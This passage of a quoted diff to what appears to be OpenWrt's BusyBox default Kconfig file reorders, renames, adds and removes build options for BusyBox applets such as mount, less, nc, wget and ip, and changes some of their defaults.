> -config BUSYBOX_DEFAULT_SETARCH
> +config BUSYBOX_DEFAULT_FINDFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UEVENT
> +config BUSYBOX_DEFAULT_FLOCK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UNSHARE
> +config BUSYBOX_DEFAULT_FDFLUSH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_ACPID
> +config BUSYBOX_DEFAULT_FREERAMDISK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
> +config BUSYBOX_DEFAULT_FSCK_MINIX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BLKID
> +config BUSYBOX_DEFAULT_FSTRIM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
> +config BUSYBOX_DEFAULT_GETOPT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_DMESG
> +config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
> +	default n
> +config BUSYBOX_DEFAULT_HEXDUMP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FBSET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
> +config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
> +config BUSYBOX_DEFAULT_HD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FDFLUSH
> +config BUSYBOX_DEFAULT_HWCLOCK
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FDFORMAT
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FDISK
> +config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
> +config BUSYBOX_DEFAULT_IPCRM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
> +config BUSYBOX_DEFAULT_IPCS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
> +config BUSYBOX_DEFAULT_LOSETUP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
> +config BUSYBOX_DEFAULT_LSPCI
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
> +config BUSYBOX_DEFAULT_LSUSB
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
> +config BUSYBOX_DEFAULT_MDEV
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FINDFS
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FLOCK
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FREERAMDISK
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FSCK_MINIX
> +config BUSYBOX_DEFAULT_MKE2FS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_MKFS_EXT2
> @@ -1516,55 +1537,55 @@ config BUSYBOX_DEFAULT_FEATURE_MINIX2
>   config BUSYBOX_DEFAULT_MKFS_REISER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MKFS_VFAT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_GETOPT
> +config BUSYBOX_DEFAULT_MKDOSFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
> +config BUSYBOX_DEFAULT_MKFS_VFAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HEXDUMP
> +config BUSYBOX_DEFAULT_MKSWAP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
> +config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HD
> +config BUSYBOX_DEFAULT_MORE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HWCLOCK
> +config BUSYBOX_DEFAULT_MOUNT
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPCRM
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_IPCS
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LOSETUP
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LSPCI
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_LSUSB
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_MKSWAP
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MORE
> +config BUSYBOX_DEFAULT_NSENTER
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_PIVOT_ROOT
> @@ -1579,6 +1600,9 @@ config BUSYBOX_DEFAULT_RDEV
>   config BUSYBOX_DEFAULT_READPROFILE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_REV
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_RTCWAKE
>   	bool
>   	default n
> @@ -1588,24 +1612,42 @@ config BUSYBOX_DEFAULT_SCRIPT
>   config BUSYBOX_DEFAULT_SCRIPTREPLAY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SWAPONOFF
> +config BUSYBOX_DEFAULT_SETARCH
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_LINUX32
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_LINUX64
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SWAPON
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SWAPOFF
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_SWITCH_ROOT
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_UEVENT
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UMOUNT
>   	bool
>   	default y
>   config BUSYBOX_DEFAULT_FEATURE_UMOUNT_ALL
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_UNSHARE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_MOUNT_LOOP
>   	bool
>   	default y
> @@ -1678,112 +1720,13 @@ config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SQUASHFS
>   config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SYSV
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CONSPY
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CROND
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_CROND_D
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> -	string
> -	default "/etc"
> -config BUSYBOX_DEFAULT_I2CGET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_I2CSET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_I2CDUMP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_I2CDETECT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_LESS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> -	int
> -	default 9999999
> -config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_NANDWRITE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_NANDDUMP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_RFKILL
> +config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETSERIAL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_TASKSET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIATTACH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIDETACH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIMKVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIRMVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIRSVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIUPDATEVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIRENAME
> +config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WALL
> +config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_ADJTIMEX
> @@ -1831,6 +1774,21 @@ config BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
>   config BUSYBOX_DEFAULT_CHRT
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_CONSPY
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CROND
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_CROND_D
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> +	string
> +	default "/etc"
>   config BUSYBOX_DEFAULT_CRONTAB
>   	bool
>   	default y
> @@ -1867,7 +1825,7 @@ config BUSYBOX_DEFAULT_FEATURE_EJECT_SCSI
>   config BUSYBOX_DEFAULT_FBSPLASH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FLASHCP
> +config BUSYBOX_DEFAULT_FLASH_ERASEALL
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FLASH_LOCK
> @@ -1876,40 +1834,85 @@ config BUSYBOX_DEFAULT_FLASH_LOCK
>   config BUSYBOX_DEFAULT_FLASH_UNLOCK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FLASH_ERASEALL
> +config BUSYBOX_DEFAULT_FLASHCP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IONICE
> +config BUSYBOX_DEFAULT_HDPARM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CGET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CSET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CDUMP
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CDETECT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_INOTIFYD
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_IONICE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_LAST
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HDPARM
> +config BUSYBOX_DEFAULT_LESS
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> +	int
> +	default 9999999
> +config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
> +config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
> +config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
> +config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
> +config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
> +config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
> +config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_LOCK
> @@ -1936,91 +1939,79 @@ config BUSYBOX_DEFAULT_MOUNTPOINT
>   config BUSYBOX_DEFAULT_MT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RAIDAUTORUN
> +config BUSYBOX_DEFAULT_NANDWRITE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_READAHEAD
> +config BUSYBOX_DEFAULT_NANDDUMP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RUNLEVEL
> +config BUSYBOX_DEFAULT_RAIDAUTORUN
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RX
> +config BUSYBOX_DEFAULT_READAHEAD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETSID
> +config BUSYBOX_DEFAULT_RFKILL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_STRINGS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_TIME
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_TIMEOUT
> +config BUSYBOX_DEFAULT_RUNLEVEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TTYSIZE
> +config BUSYBOX_DEFAULT_RX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_VOLNAME
> +config BUSYBOX_DEFAULT_SETSERIAL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WATCHDOG
> +config BUSYBOX_DEFAULT_SETSID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NAMEIF
> +config BUSYBOX_DEFAULT_STRINGS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
> +	default y
> +config BUSYBOX_DEFAULT_TASKSET
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NBDCLIENT
> +config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NC
> +config BUSYBOX_DEFAULT_TIME
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_NC_SERVER
> +config BUSYBOX_DEFAULT_TIMEOUT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NC_EXTRA
> +config BUSYBOX_DEFAULT_TTYSIZE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NC_110_COMPAT
> +config BUSYBOX_DEFAULT_UBIATTACH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PING
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_PING6
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> +config BUSYBOX_DEFAULT_UBIDETACH
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_WGET
> +	default n
> +config BUSYBOX_DEFAULT_UBIMKVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> +config BUSYBOX_DEFAULT_UBIRMVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> +config BUSYBOX_DEFAULT_UBIRSVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_UBIUPDATEVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> +config BUSYBOX_DEFAULT_UBIRENAME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> +config BUSYBOX_DEFAULT_VOLNAME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> +config BUSYBOX_DEFAULT_WALL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WHOIS
> +config BUSYBOX_DEFAULT_WATCHDOG
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_IPV6
> @@ -2056,19 +2047,16 @@ config BUSYBOX_DEFAULT_DNSD
>   config BUSYBOX_DEFAULT_ETHER_WAKE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FAKEIDENTD
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_FTPD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
> +config BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_FTPD_ACCEPT_BROKEN_LIST
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
> +config BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FTPGET
> @@ -2083,6 +2071,9 @@ config BUSYBOX_DEFAULT_FEATURE_FTPGETPUT_LONG_OPTIONS
>   config BUSYBOX_DEFAULT_HOSTNAME
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_DNSDOMAINNAME
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_HTTPD
>   	bool
>   	default n
> @@ -2143,19 +2134,16 @@ config BUSYBOX_DEFAULT_IFENSLAVE
>   config BUSYBOX_DEFAULT_IFPLUGD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IFUPDOWN
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
> -	string
> -	default ""
> -config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
> +config BUSYBOX_DEFAULT_IFUP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
> +config BUSYBOX_DEFAULT_IFDOWN
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
> +config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
> +	string
> +	default ""
> +config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
> @@ -2194,6 +2182,24 @@ config BUSYBOX_DEFAULT_FEATURE_INETD_RPC
>   config BUSYBOX_DEFAULT_IP
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_IPADDR
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPLINK
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPROUTE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPTUNNEL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPRULE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPNEIGH
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
>   	bool
>   	default y
> @@ -2215,37 +2221,40 @@ config BUSYBOX_DEFAULT_FEATURE_IP_RULE
>   config BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
> +config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
> +config BUSYBOX_DEFAULT_IPCALC
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPADDR
> +config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPLINK
> +config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPROUTE
> +config BUSYBOX_DEFAULT_FAKEIDENTD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPTUNNEL
> +config BUSYBOX_DEFAULT_NAMEIF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPRULE
> +config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPNEIGH
> +config BUSYBOX_DEFAULT_NBDCLIENT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPCALC
> +config BUSYBOX_DEFAULT_NC
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_NC_SERVER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
> +config BUSYBOX_DEFAULT_NC_EXTRA
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_NC_110_COMPAT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_NETMSG
> @@ -2272,6 +2281,15 @@ config BUSYBOX_DEFAULT_FEATURE_NTPD_SERVER
>   config BUSYBOX_DEFAULT_FEATURE_NTPD_CONF
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_PING
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_PING6
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_PSCAN
>   	bool
>   	default n
> @@ -2284,6 +2302,9 @@ config BUSYBOX_DEFAULT_SLATTACH
>   config BUSYBOX_DEFAULT_TCPSVD
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_UDPSVD
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TELNET
>   	bool
>   	default n
> @@ -2332,9 +2353,6 @@ config BUSYBOX_DEFAULT_TRACEROUTE6
>   config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
>   	bool
>   	default n
> @@ -2344,6 +2362,36 @@ config BUSYBOX_DEFAULT_TUNCTL
>   config BUSYBOX_DEFAULT_FEATURE_TUNCTL_UG
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_VCONFIG
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_WGET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_WHOIS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ZCIP
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UDHCPC6
>   	bool
>   	default n
> @@ -2395,15 +2443,6 @@ config BUSYBOX_DEFAULT_UDHCPC_SLACK_FOR_BUGGY_SERVERS
>   config BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
>   	string
>   	default ""
> -config BUSYBOX_DEFAULT_UDPSVD
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_VCONFIG
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ZCIP
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_LPD
>   	bool
>   	default n
> @@ -2416,9 +2455,6 @@ config BUSYBOX_DEFAULT_LPQ
>   config BUSYBOX_DEFAULT_MAKEMIME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> -	string
> -	default ""
>   config BUSYBOX_DEFAULT_POPMAILDIR
>   	bool
>   	default n
> @@ -2434,120 +2470,123 @@ config BUSYBOX_DEFAULT_FEATURE_REFORMIME_COMPAT
>   config BUSYBOX_DEFAULT_SENDMAIL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IOSTAT
> +config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> +	string
> +	default ""
> +config BUSYBOX_DEFAULT_FREE
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_LSOF
> +	default y
> +config BUSYBOX_DEFAULT_FUSER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MPSTAT
> +config BUSYBOX_DEFAULT_IOSTAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NMETER
> +config BUSYBOX_DEFAULT_KILL
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_PMAP
> +	default y
> +config BUSYBOX_DEFAULT_KILLALL
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_POWERTOP
> +	default y
> +config BUSYBOX_DEFAULT_KILLALL5
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PSTREE
> +config BUSYBOX_DEFAULT_LSOF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PWDX
> +config BUSYBOX_DEFAULT_MPSTAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SMEMCAP
> +config BUSYBOX_DEFAULT_NMETER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TOP
> +config BUSYBOX_DEFAULT_PGREP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +config BUSYBOX_DEFAULT_PKILL
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	default n
> +config BUSYBOX_DEFAULT_PIDOF
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
> +config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
> +config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
>   	bool
>   	default n
